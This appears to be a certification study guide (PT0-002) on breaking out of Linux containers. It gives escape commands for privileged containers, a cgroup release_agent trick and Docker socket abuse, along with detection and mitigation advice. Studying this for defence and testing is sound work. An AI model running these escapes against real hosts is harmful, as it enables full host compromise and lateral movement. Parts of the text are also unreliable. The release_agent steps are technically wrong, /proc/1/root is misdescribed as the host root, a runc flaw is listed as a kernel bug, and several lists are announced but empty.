Container Escape Techniques

Container escape is a security exploit where an attacker breaks out of the isolated environment of a container to gain unauthorized access to the host operating system or other containers. Containers rely on Linux kernel features like namespaces and cgroups to isolate processes, but these are not a full security boundary like a virtual machine. A container escape can lead to full host compromise, allowing the attacker to access all containers, host data, and pivot to other systems. For the PT0-002 exam, you must understand the common techniques, underlying mechanisms, and detection methods.

Containers use Linux namespaces to isolate processes, network, filesystem, and other resources. Each container gets its own set of namespaces:

Additionally, cgroups limit resource usage (CPU, memory, I/O). The container runtime (e.g., Docker, containerd) sets up these namespaces and cgroups when starting a container. The host kernel is shared among all containers, meaning a vulnerability in the kernel or a misconfiguration can allow a process to break out of its namespace.

#### 1. Privileged Container Escape

A container running with --privileged flag has all capabilities and access to host devices. This effectively disables most isolation. The container can:

Exploit example:

# Inside a privileged container
fdisk -l  # Identify host disk
mkdir /mnt/host
mount /dev/sda1 /mnt/host
chroot /mnt/host
# Now you have a shell on the host

Detection: Check if container runs with privileged: true in its security context.

#### 2. Capability-Based Escape

Linux capabilities break down root privileges into smaller units. Containers by default drop many capabilities but may retain dangerous ones like CAP_SYS_ADMIN, CAP_NET_RAW, CAP_DAC_OVERRIDE, etc. CAP_SYS_ADMIN is particularly dangerous as it allows mounting filesystems, accessing namespaces, and performing privileged syscalls.

Exploit with CAP_SYS_ADMIN:

# If the container has CAP_SYS_ADMIN, you can mount the host's cgroup hierarchy
mkdir /tmp/cgrp
mount -t cgroup -o memory cgroup /tmp/cgrp
mkdir /tmp/cgrp/x
# Create a cgroup with release_agent to execute a script on host when all processes exit
echo "/bin/sh -c 'echo hacked > /host_root_flag'" > /tmp/cgrp/x/release_agent
# Trigger exit by creating a process in the cgroup and killing it
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
kill -9 $$  # This triggers release_agent

Detection: Check capabilities with capsh --print or getpcaps.

#### 3. Mounting Host Filesystem via /proc

If a container has CAP_SYS_PTRACE and CAP_DAC_READ_SEARCH, it can access /proc/1/root (the host's root filesystem). This allows reading or writing host files.

Exploit:

# Inside container
cat /proc/1/environ  # May leak host environment variables
ls -la /proc/1/root/
# If writable, you can modify host files

Detection: Check if /proc/1/root is accessible.

#### 4. Kernel Vulnerabilities (CVE-2019-5736, CVE-2022-0492)

Kernel exploits can break out of namespaces. For example, CVE-2019-5736 affected runc (the container runtime). It allowed a malicious container to overwrite the host runc binary, leading to host code execution when a user executed docker exec.

Mechanism: The exploit used /proc/self/exe to overwrite the runc binary from inside the container.

Detection: Always keep kernel and runc updated. Use vulnerability scanners.

#### 5. Docker Socket Mount

Mounting the Docker socket (/var/run/docker.sock) inside a container gives the container control over the Docker daemon on the host. This allows creating new containers with arbitrary privileges, effectively escaping.

Exploit:

# Inside container with docker socket mounted
curl -X POST -H "Content-Type: application/json" -d '{"Image":"ubuntu","Cmd":["/bin/bash"],"Binds":["/:/host"]}' --unix-socket /var/run/docker.sock http://localhost/containers/create
curl -X POST --unix-socket /var/run/docker.sock http://localhost/containers/<id>/start
# Now you have a new container with host root mounted

Detection: Check if the container has the Docker socket mounted as a volume.

Check container privileges:

docker inspect --format='{{.HostConfig.Privileged}}' <container>
docker inspect --format='{{.HostConfig.CapAdd}}' <container>

Check for Docker socket mount:

docker inspect --format='{{json .Mounts}}' <container> | jq

Check running capabilities inside container:

cat /proc/1/status | grep Cap
capsh --print

Check if user namespace is enabled:

# On host
cat /etc/docker/daemon.json | grep userns-remap

Container escape techniques often interact with: - Kubernetes: Pod security policies (now Pod Security Admission) restrict containers. Escaping a container in Kubernetes can lead to node compromise. - Cloud environments: If the host is a VM, escaping the container gives access to the VM, not necessarily the hypervisor. But further exploits may be possible. - Container registries: Malicious images can contain escape payloads.

For PT0-002, you should know:

In a real-world penetration test of a Kubernetes cluster, a common scenario is discovering a pod running with privileged: true or with CAP_SYS_ADMIN. For example, a DevOps team might have created a monitoring container that needs to access host metrics and mistakenly gave it full privileges. As a pentester, you would identify this via a kubectl describe pod and then execute an escape to gain access to the node. Once on the node, you can access other pods' data, service account tokens, and potentially pivot to the cloud environment. In another scenario, a container in a CI/CD pipeline might have the Docker socket mounted to allow building images inside a container. This is a classic misconfiguration that leads to host compromise. The pentester can create a new container with host root access and then exfiltrate secrets or deploy backdoors. Performance considerations: Container escapes often require the container to have sufficient CPU and memory to execute exploits, but most techniques are lightweight. In production, misconfigurations are often discovered during security audits using tools like kube-bench or docker-bench. When misconfigured, the impact is severe: an attacker can gain root on the host, access all containers, and then move laterally. Mitigation involves enforcing Pod Security Standards (restricted profile), disabling privileged containers, and using tools like OPA Gatekeeper to prevent dangerous configurations.